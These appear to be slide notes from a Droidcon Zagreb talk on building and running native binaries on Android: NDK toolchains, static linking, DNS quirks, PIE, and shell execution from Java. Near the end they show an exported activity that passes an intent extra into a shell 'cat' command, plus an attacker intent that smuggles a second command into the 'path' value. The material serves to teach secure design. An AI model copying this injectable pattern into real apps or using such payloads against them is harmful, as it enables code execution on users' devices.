Vlatko Kosturjak (@k0st), Droidcon Zagreb, 30th of April
45 minutes
./configure --host=arm-linux-androideabi
make
make install
/* Hello World program */
#include <stdio.h>
void main()
{
printf("Hello World");
}
It works pretty well indeed.
export CC="$NDK/toolchains/arm-linux-androideabi-4.6/prebuilt/linux-x86/bin/arm-linux-androideabi-gcc"
export CFLAGS="--sysroot=$SYSROOT"
$CC $CFLAGS -o hello hello.c
$NDK/build/tools/make-standalone-toolchain.sh --platform=android-3 --install-dir=/opt/ndk3
/opt/ndk3/bin/arm-linux-androideabi-gcc -o hello hello.c
NDK platform | Platforms | 32/64 bit |
---|---|---|
3 | ARM | 32 |
9 | ARM/MIPS/Intel | 32 |
21 | ARM/MIPS/Intel | 64 |
Static binaries working like a charm
“until resolv.conf disappeared :) ”
int main(int argc,char *argv[]) {
int i;
struct hostent *hp;
for ( i=1; i<argc; ++i ) {
hp = gethostbyname(argv[i]);
if ( !hp ) {
fprintf(stderr, "%s: host '%s'\n", hstrerror(h_errno),
argv[i]);
continue;
}
printf("Host:\t%s\n" ,argv[i]);
printf("\tResolves to:\t%s\n", hp->h_name);
}
}
Original at gist
#ifdef ANDROID_CHANGES /* READ FROM SYSTEM PROPERTIES */
dns_last_change_counter = _get_dns_change_count();
[..]
#else /* !ANDROID_CHANGES - IGNORE resolv.conf in Android */
#define MATCH(line, name) \
[..]
Original at https://code.google.com/p/android-source-browsing
Type | Size | Dependency | DNS OOTB |
---|---|---|---|
Dynamic | smaller | yes | yes |
Static | bigger | no | no |
Mixed | medium | yes (basic) | yes |
error: only position independent executables (PIE) are supported.
#include <stdio.h>
int global;
int checkadr (int *bla)
{
int local;
printf("bla adr = %p\n", &bla);
printf("global adr = %p\n", &global);
printf("local adr = %p\n", &global);
}
int main (void) {
int c;
printf("c adr = %p\n", &c);
printf("checkadr adr = %p\n", &checkadr);
checkadr(1);
}
Android version | Supported | Required |
---|---|---|
1,2,3 | no | no |
4 | yes | no |
5 | yes | yes |
CFLAGS +=-fvisibility=default -fPIE
LDFLAGS += -rdynamic -pie
p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
ProcessBuilder processBuilder = new ProcessBuilder(shellToRun);
processBuilder.redirectErrorStream(true);
scanProcess = processBuilder.start();
outputStream = new DataOutputStream(scanProcess.getOutputStream());
inputStream = new BufferedReader(new InputStreamReader(scanProcess.getInputStream()));
while (((pstdout = inputStream.readLine()) != null)) {
output.append(pstdout).append("\n");
}
echo "#!/bin/sh" > /data/data/com.heroic.app/bin/mybinary
echo "echo '0wned!'" >> /data/data/com.heroic.app/bin/mybinary
Bundle b = getIntent().getExtras();
configFilePath = b.getString("path");
[..]
ShellExecuter exe = new ShellExecuter();
return exe.Executer("cat " + configFilePath);
<activity
android:name=".MyHeroicActivity"
....
android:exported="true" />
public void onBtnClick(View view) {
Intent intent = new Intent();
intent.setClassName("com.heroic.app", "com.heroic.app.MyHeroicActivity");
intent.putExtra("path", "/system/etc/hosts; echo 'Owned' > /data/data/com.heroic.app/bin/binary");
startActivity(intent);
}
Fortunately, there are good comments ;)
Thanks on these